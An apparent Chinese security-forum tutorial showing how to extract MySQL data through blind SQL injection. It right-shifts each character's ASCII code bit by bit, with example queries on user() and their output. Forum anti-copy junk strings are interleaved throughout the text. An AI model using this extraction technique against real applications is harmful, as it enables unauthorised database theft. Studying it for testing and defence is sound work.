找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2056|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位, S/ p% m; b3 l2 x/ |% _# d
" I. I  y% G* E: G! Q' H
2 \- Y( C2 D6 G$ ^1 j5 z
: F5 g- X2 y* x+ f1 c
下面将以查询mysql数据库当中user()的第一位为例:9 @/ C7 H; K" g! q2 {7 L3 W# r

* b0 N+ P/ ~. {. j" S' T1 ~
: g1 ~0 Z0 }! }( h
2 J* j! O& a" o+ m+ s- Cps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
% G; ?& G8 a! a1 R/ B0 t
' ?( y0 `1 J2 b( q" y& [8 Y " x( b  {. R4 l! l- Z& j1 t# a- N1 C; ~1 F
8 F( n- d+ _7 H% r& n
首先执行如下sql语句:, T# C: w8 h2 i: [0 `1 W

) q8 g4 L( j% j' i/ J) ?$ w 3 t- |/ l, X; x0 \

5 [- v" [! g0 smysql> select (ascii((substr(user(),1,1))) >> 7)=0;/ p1 f4 ~8 ], d1 M# z0 m9 s5 ^
5 w; P5 v* F2 B5 [6 Q; P0 t+ x  {- y- a

/ \; H* q0 R" E) \# u2 H0 o+ f  L( j  r% S+ U5 d
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的- a% W# u' k' x' U; _$ i1 Z
' h5 e0 t- x4 Z8 l6 R: T% r

+ Q/ w+ l9 i$ n; `# f8 [( K6 G- x7 I# O) P  I0 j1 K+ t
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
0 V/ n+ R; j0 {5 L' ~8 s9 w# z% n; m+ H8 o3 Q5 i# i

% f2 o- W0 I, n6 ^- ^+ s& P4 E5 ~$ i. }0 A0 e
如果运算结果为1,说明第一位为0,不为1
9 j% ~# I6 }  Q3 B8 r$ \, o. b6 x7 v$ s; }6 H, l
/ R( b2 r2 O9 g) u/ A

6 l/ \! V" m7 j8 w  e8 c1 d; z, [+————————————–+  m0 @* @. p: B6 o% s3 d
2 a* W  [& |1 d/ d) C; W
| (ascii((substr(user(),1,1))) >> 7)=0 |) N8 h/ X) j+ {# p$ g! r% ?
7 u* u' E) p9 X% R; i# e
+————————————–+
  ~2 W, \- L# f4 r* I
3 n0 }) ^  a6 H( p" m2 r| 1 |
! d( U0 E, o3 ^3 a, C3 L  _* [2 I' U
3 Q' `9 x0 s3 t2 l1 q$ f( o/ C5 e+————————————–+
. N, ?+ p9 Z. w3 S  i. B( u) X7 H+ u3 a
1 row in set (0.00 sec)# _6 N6 x# d+ O( X5 a$ Y
- n) d/ D9 _4 J
这样我们就确定这个8bit的ascii的第一位为0
; N; B& |/ d7 r
6 `  O1 t' F4 S; d# u6 `
  h9 `8 K# c6 f( w: T+ m  R' I$ Y0 m  U
第二次我们来做6次右偏移来确定前两位
  s' K2 q) Y: r# C  S7 R/ z! d; q& z6 F! J
8 }, H, p- I) F- O% A* k
, \4 ~) X# B) S& v
前两位可能是01或00,即依然可以与0做比较,/ s8 x  K0 l6 B1 Z4 U, r" L+ D

1 j9 g* P* W1 `; J8 y6 ^mysql> select (ascii((substr(user(),1,1))) >> 6)=0;" n: u, |. {: ^/ }% j- w9 }- A

5 F7 p) x8 L8 y+————————————–+( Q* t$ r: L* L3 [& r& L2 I

& k1 J! F- j& n| (ascii((substr(user(),1,1))) >> 6)=0 |
9 Q9 r4 u2 Z4 M- T- y& {7 A0 R4 p3 {7 Z2 S  n' M
+————————————–+
  y6 x. V+ ~' I( F% d. }' v8 z4 K* f1 A( T  R( i& C3 j
| 0 |
) D8 G7 _8 w! N$ |# y8 S% |5 {; f/ J. L9 _; g* z! w" `3 x7 ^
+————————————–+
- z& q3 o6 ~$ a9 F6 {; W. v+ y
8 o) H3 u0 L8 b- H0 j. u1 row in set (0.00 sec)/ n3 o/ v6 C' ?$ l6 ]. @- n2 A4 D/ O
+ u$ G3 T. d8 Z: O* |
1 O5 q/ k9 \) l- ~* @+ y' l

8 Y* U0 X# J8 p2 I, ~" V0 w结果为0,即第二位为1) V9 [5 C3 _* N: y9 o1 o/ O

! m4 r6 n7 `+ B
* P4 r1 ?& ]6 l5 c+ {
5 K3 {4 I6 Z  T! \/ D* G开始猜测前三位为010或011) w2 ?% Z: E% a. T) O' b+ _

' {- {' E2 _1 c. |. r
- ~6 A# p* a! k1 i
3 g# c$ i" G* e+ m$ \  R7 M让我们看看010和011的ascii码是多少5 s, Z& Z4 Y1 M# {5 O$ c/ y
$ N8 C. y  j1 K$ K- P6 l
, W8 S4 _+ g$ y0 T5 O- e

  a' F* [1 E. E6 p8 r分别查询select b’011′ select b’010′
7 Z7 t8 x: C2 c0 d1 Y& R# M7 T1 q/ h) l
) R1 H0 k. f5 A3 w  j5 v
4 `  e- p" v2 t1 Y& ?- x7 w- V
获得结果 010 = 2 011 = 3, l6 o) B, u1 r/ M* l  I& C

5 o2 b" D8 Z1 C1 F0 ]6 G/ R5 `0 W( n 4 L/ _* C$ H$ o
1 Q' q6 ^) k9 D  I. v- N) }
执行如下sql:! E; z4 P5 m: C$ i9 P
1 v% g. X4 q) z# g
; p3 s" w8 o6 }, Y/ V$ X1 N5 h
. l0 c" @* @, b, T
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;( d2 i& R2 s+ O$ B7 U  T; L
# W* S4 ^: @! D/ l. Y
+————————————–+, W1 l' P3 J% J3 {, Z" w
! ~+ N4 b7 y# _: X3 ~
| (ascii((substr(user(),1,1))) >> 5)=2 |/ \. s6 m1 O" \0 T0 F6 v
9 u# \2 K$ e9 i7 B8 k8 G+ l
+————————————–+4 D8 Z; t& m, c
0 A" r9 p9 V7 J+ n/ `/ ^- ~
| 0 |3 e% o6 C/ y1 v" P1 ~" v8 e

: f: @& P+ v& E% f+ s/ T8 b. L9 J+————————————–+# O1 c: T3 u5 y* Q. S

' i: K4 l$ Z% r; a$ j! w即前三位不为010,而是011- V' E  n: [( w" @# {( z

/ Q; Q. S* `# Q- u2 b
( W& U" {8 H5 v
) _3 G" t9 e) R+ K9 W% e2 k0 @* c直到获得最后一位2 L" t+ b3 M. h1 o8 a$ c9 B; a* ]7 R
7 t) R$ B: B9 o8 `0 T& `3 O

' K& {, S2 i3 X: a1 |! b8 n1 Q- r6 l. o) l9 d
最终结果为:011100103 {: s# v0 A' l; v! L% q, O
( o- T' c. W8 m3 E' {3 A

, m4 F5 f: e, z) |
, ]) s% U8 S" U转换一下:3 Q# I) d& L( [! C4 G% W* l

% x/ S/ Y. f# V, D 7 j: k% }% x/ `: O* T3 E
- E( ^$ p5 y; |. I! s: {9 k
select b’01110010′
$ S, d! @6 v' ^; f5 K; s: Y; R+ s
9 l. a3 f3 W8 [* W/ e# v- O : u) a+ Q5 I$ R( b" |
5 ?- d( o" r5 k2 L- ?& `
查询结果9 T* h+ J& J& o' q
: |7 T5 x/ m! P% H0 W
% o$ O1 A& t- Z* ?6 w! E2 _% X
$ A1 Y6 a. a5 x3 h: V, E8 R
+————-+
1 W5 z6 Y  E; {6 g, f
( x/ @* k6 T1 h9 D! D5 W| b’01110010′ |4 }: Y& }* {  ~. T8 g( s

& |  E8 L) C# y! g* `& f+————-+# H" s# [: v/ n8 R

7 N, Q6 n0 @4 p" M# u| r |
; W. O, F, P1 H9 B3 m* |) s8 f7 s  s8 Z# x9 E: n( H. Z2 S
+————-+
  H4 h3 I9 P' Q/ s* ]; h9 H& T! ?& j/ Q, N9 L. }8 U& w' z4 G
1 row in set (0.00 sec)+ b$ R2 E/ R9 b- s7 M

2 E, X2 i0 [( x 6 e) t( u4 P" h2 [' r9 _
! ]3 R& S! E0 `, l/ {" f
这样我们就获得了user()的第一位.其它位依此类推
6 F8 z7 w. _6 n2 n/ r# j. U" N2 L3 B. }( q) d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表